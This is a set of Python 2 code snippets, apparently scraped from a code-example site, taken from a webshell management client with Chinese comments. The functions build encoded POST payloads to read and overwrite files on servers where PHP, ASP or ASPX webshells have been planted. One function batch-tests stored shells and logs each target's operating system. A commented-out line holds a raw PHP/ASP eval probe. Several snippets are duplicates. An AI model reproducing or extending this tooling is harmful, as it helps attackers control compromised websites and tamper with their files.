Example #1
0
 def load_shell(self):  #载入路径
     try:
         name = self.name_lineEdit.text()
         if self.script == "PHP":
             psot_data = link_shell.GetPostText(self.script,
                                                "Open_file")  #上传文件
             psot_data="%s&z1=%s"% \
                       (link_shell.post_php_data(psot_data),base64.b64encode(str(name)))
         if self.script == "ASP":
             psot_data = link_shell.GetPostText(self.script,
                                                "Open_file")  #获取文件内容
             psot_data="%s&z1=%s"% \
                       (psot_data,urllib.quote(str(name)))
         if self.script == "ASPX":
             psot_data = link_shell.GetPostText(self.script,
                                                "Open_file")  #获取代码
             psot_data="%s&z1=%s"% \
                       (psot_data,urllib.quote(base64.b64encode(str(name).replace('\\', '\\\\'))))
         FALSE_bool, ResInfo = eval_link.Post_eval_php(
             str(self.id), psot_data)  #获取 请求内容
         if not FALSE_bool == 0:
             # if "ERROR:" in ResInfo:
             #     msg.msg_lower_Left(u"%s错误 %s"%(str(name),str(ResInfo)))#设置状态栏文字信息
             #     msg.msg_box(u"错误提示",str(ResInfo))  #错误提示
             # else:
             msg.msg_lower_Left(u"%s读取文件完成" % (str(name)))  #设置状态栏文字信息
             self.data_textEdit.setPlainText(u'%s' % (ResInfo))
             #Edit_file_ui.Edit_file(id=self.id,data=ResInfo,name=name)  #编辑这个文件
         else:
             msg.msg_lower_Left(u"%s读取文件错误" % (str(name)))  #设置状态栏文字信息
     except BaseException, e:
         log.logging.debug("except:%s" % (str(e)))
Example #2
0
 def save_shell(self):  #保存文件
     try:
         name=self.name_lineEdit.text()
         file_dataX=self.data_textEdit.toPlainText()
         file_data=base64.b64encode(str(file_dataX))
         #name3=name.replace("\\","\\\\") #Route_File
         name2=g.file_GetExt(str(name))#输入路径地址  转换路径
         if self.script=="PHP":
             psot_data=link_shell.GetPostText(self.script,"Route_File")    #保存文件
             psot_data="%s&z1=%s&z2=%s"% \
                       (link_shell.post_php_data(psot_data),base64.b64encode(str(name2)),urllib.quote(str(file_data)))
         if self.script=="ASP":
             psot_data=link_shell.GetPostText(self.script,"Route_File")    #保存文件
             psot_data="%s&z1=%s&z2=%s"% \
                       (psot_data,binascii.b2a_hex(str(name2)),binascii.b2a_hex(str(file_dataX)))
         if self.script=="ASPX":
             psot_data=link_shell.GetPostText(self.script,"Route_File")    #保存文件
             psot_data="%s&z1=%s&z2=%s"% \
                       (psot_data,urllib.quote(base64.b64encode(str(name2).replace('\\', '\\\\'))),urllib.quote(str(file_dataX)))
         FALSE_bool,ResInfo=eval_link.Post_eval_php(str(self.id),psot_data) #获取 请求内容
         if not ((FALSE_bool==0) and (str(ResInfo)=="1")):
             if "ERROR:" in ResInfo:
                 msg.msg_lower_Left(u"%s错误 %s"%(str(name2),str(ResInfo)))#设置状态栏文字信息
                 msg.msg_box(u"错误提示",str(ResInfo))  #错误提示
             else:
                 msg.msg_lower_Left(u"%s文件写入完成"%(str(name2)))#设置状态栏文字信息
             #self.data_textEdit.setPlainText(u'%s'%(ResInfo))
             #Edit_file_ui.Edit_file(id=self.id,data=ResInfo,name=name)  #编辑这个文件
         else:
             msg.msg_lower_Left(u"%s文件写入错误"%(str(name2)))#设置状态栏文字信息
     except BaseException, e:
         log.logging.debug("except:%s"%(str(e)))
Example #3
0
 def load_shell(self):  #载入路径
     try:
         name=self.name_lineEdit.text()
         if self.script=="PHP":
             psot_data=link_shell.GetPostText(self.script,"Open_file")    #上传文件
             psot_data="%s&z1=%s"% \
                       (link_shell.post_php_data(psot_data),base64.b64encode(str(name)))
         if self.script=="ASP":
             psot_data=link_shell.GetPostText(self.script,"Open_file")    #获取文件内容
             psot_data="%s&z1=%s"% \
                       (psot_data,urllib.quote(str(name)))
         if self.script=="ASPX":
             psot_data=link_shell.GetPostText(self.script,"Open_file")    #获取代码
             psot_data="%s&z1=%s"% \
                       (psot_data,urllib.quote(base64.b64encode(str(name).replace('\\', '\\\\'))))
         FALSE_bool,ResInfo=eval_link.Post_eval_php(str(self.id),psot_data) #获取 请求内容
         if not FALSE_bool==0:
             # if "ERROR:" in ResInfo:
             #     msg.msg_lower_Left(u"%s错误 %s"%(str(name),str(ResInfo)))#设置状态栏文字信息
             #     msg.msg_box(u"错误提示",str(ResInfo))  #错误提示
             # else:
             msg.msg_lower_Left(u"%s读取文件完成"%(str(name)))#设置状态栏文字信息
             self.data_textEdit.setPlainText(u'%s'%(ResInfo))
             #Edit_file_ui.Edit_file(id=self.id,data=ResInfo,name=name)  #编辑这个文件
         else:
             msg.msg_lower_Left(u"%s读取文件错误"%(str(name)))#设置状态栏文字信息
     except BaseException, e:
         log.logging.debug("except:%s"%(str(e)))
Example #4
0
 def save_shell(self):  #保存文件
     try:
         name = self.name_lineEdit.text()
         file_dataX = self.data_textEdit.toPlainText()
         file_data = base64.b64encode(str(file_dataX))
         #name3=name.replace("\\","\\\\") #Route_File
         name2 = g.file_GetExt(str(name))  #输入路径地址  转换路径
         if self.script == "PHP":
             psot_data = link_shell.GetPostText(self.script,
                                                "Route_File")  #保存文件
             psot_data="%s&z1=%s&z2=%s"% \
                       (link_shell.post_php_data(psot_data),base64.b64encode(str(name2)),urllib.quote(str(file_data)))
         if self.script == "ASP":
             psot_data = link_shell.GetPostText(self.script,
                                                "Route_File")  #保存文件
             psot_data="%s&z1=%s&z2=%s"% \
                       (psot_data,binascii.b2a_hex(str(name2)),binascii.b2a_hex(str(file_dataX)))
         if self.script == "ASPX":
             psot_data = link_shell.GetPostText(self.script,
                                                "Route_File")  #保存文件
             psot_data="%s&z1=%s&z2=%s"% \
                       (psot_data,urllib.quote(base64.b64encode(str(name2).replace('\\', '\\\\'))),urllib.quote(str(file_dataX)))
         FALSE_bool, ResInfo = eval_link.Post_eval_php(
             str(self.id), psot_data)  #获取 请求内容
         if not ((FALSE_bool == 0) and (str(ResInfo) == "1")):
             if "ERROR:" in ResInfo:
                 msg.msg_lower_Left(u"%s错误 %s" %
                                    (str(name2), str(ResInfo)))  #设置状态栏文字信息
                 msg.msg_box(u"错误提示", str(ResInfo))  #错误提示
             else:
                 msg.msg_lower_Left(u"%s文件写入完成" % (str(name2)))  #设置状态栏文字信息
             #self.data_textEdit.setPlainText(u'%s'%(ResInfo))
             #Edit_file_ui.Edit_file(id=self.id,data=ResInfo,name=name)  #编辑这个文件
         else:
             msg.msg_lower_Left(u"%s文件写入错误" % (str(name2)))  #设置状态栏文字信息
     except BaseException, e:
         log.logging.debug("except:%s" % (str(e)))
Example #5
0
def shell_cs(x_ID):  #SHELL测试
    try:
        global I_OK,I_NO,list_ID,I_G,shell_on_off
        #for i in range(0, len(list_ID)):
        #id=list_ID[i]
        while True:
            try:
                id = list_ID.get(0.5)
                if not id:
                    break #跳出
                if list_ID.empty():   #判断队列是否为空
                    break #跳出
                id_shell_list=db_shell.id_sitetable_shell(str(id))  #通过ID查询SHELL的状态
                #siteurl=str(id_shell_list[2])    #    网址
                script=str(id_shell_list[8])      #   asp   php
                # if script=="PHP":
                #     psot_data=link_shell.post_php_data(str("@ini_set(\"display_errors\",\"0\");@set_time_limit(0);@set_magic_quotes_runtime(0);echo(\"->|\");echo(\"webxscan\");echo(\"|<-\");die();"))
                # elif script=="ASP":
                #     psot_data="=execute(\"response.clear:response.write(\"\"webxscan\"\"):response.end\")"
                # else:
                #     psot_data="=Response.Clear();Response.Write(\"webxscan\");"
                if script=="PHP":
                    psot_data=link_shell.GetPostText(script,"WebRoot")    #获取代码
                    psot_data=link_shell.post_php_data(psot_data)  #转换代码
                if script=="ASP":
                    psot_data=link_shell.GetPostText(script,"WebRoot")    #获取代码
                if script=="ASPX":
                    psot_data=link_shell.GetPostText(script,"WebRoot")    #获取代码
                FALSE_bool,Info=eval_link.Post_eval_php(str(id),psot_data) #获取 请求内容
                if FALSE_bool==0:
                    I_NO+=1
                    db_shell.SELECT_shell_link(str(id),0) #更新链接状态  0链接失败 1链接成功  2还未测试
                    sql_data="update sitetable set os='%s' where ID='%s'"%(str(""),str(id))
                else:
                    I_OK+=1
                    db_shell.SELECT_shell_link(str(id),1) #更新链接状态  0链接失败 1链接成功  2还未测试
                    OS_data=g.if_os(Info)
                    if OS_data=="":  #操作系统
                        #空
                        sql_data="update sitetable set os='%s' where ID='%s'"%(str("except"),str(id))
                    else:
                        #判断到操作系统
                        sql_data="update sitetable set os='%s' where ID='%s'"%(str(OS_data),str(id))
                if shell_sql.mysqlite3_update(sql_data):
                    pass
                    #msg.msg_lower_right(u"修改目录:%s 成功"%(str(name)))  #右下角提示
                else:
                    pass

                    # if(Info.find("webxscan") >= 0):
                    #     I_OK+=1
                    #     db_shell.SELECT_shell_link(str(id),1) #更新链接状态  0链接失败 1链接成功  2还未测试
                    #     db_shell.SELECT_shell_updatetime(str(id),str(siteurl))
                    # else:
                    #     I_NO+=1
                    #     db_shell.SELECT_shell_link(str(id),0) #更新链接状态  0链接失败 1链接成功  2还未测试
                if shell_on_off==0:
                    data=u"Thread:%d  shell测试   成功:%d  失败:%d  还有%d条需要测试  共计%d条"%(int(x_ID),int(I_OK),int(I_NO),int(I_G)-(int(I_OK)+int(I_NO)),int(I_G))#设置状态栏文字信息
                    #print data
                    msg.msg_lower_Left(data)#设置状态栏文字信息
            except BaseException, e:
                pass
        if shell_on_off==0:
            data=u"shell测试完成   成功:%d  失败:%d  共计%d条"%(int(I_OK),int(I_NO),int(I_G))#设置状态栏文字信息
            #print data
            msg.msg_lower_Left(data)#设置状态栏文字信息
            shell_on_off=1
            add_tableWidget(str(ui.treeWidget_id))   #加载当前列表